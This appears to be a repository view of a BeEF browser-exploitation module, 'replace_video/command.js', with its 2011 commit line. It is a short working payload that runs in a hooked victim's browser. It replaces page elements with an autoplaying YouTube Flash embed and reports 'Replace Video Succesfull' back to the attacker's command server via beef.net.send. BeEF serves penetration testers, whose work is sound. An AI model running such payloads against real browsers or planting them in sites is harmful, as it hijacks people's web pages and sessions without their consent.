Files
beef/modules/misc/replace_video/command.js
antisnatchor dfba87c492 removed debug code (again, sorry ;) )
git-svn-id: https://beef.googlecode.com/svn/trunk@993 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2011-06-08 19:25:42 +00:00

9 lines
557 B
JavaScript

beef.execute(function() {
$j('<%= @jquery_selector %>').each(function(){
var width = $j(this).css('width');
var height = $j(this).css('height');
$j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&amp;hl=en_US&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">');
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull");
});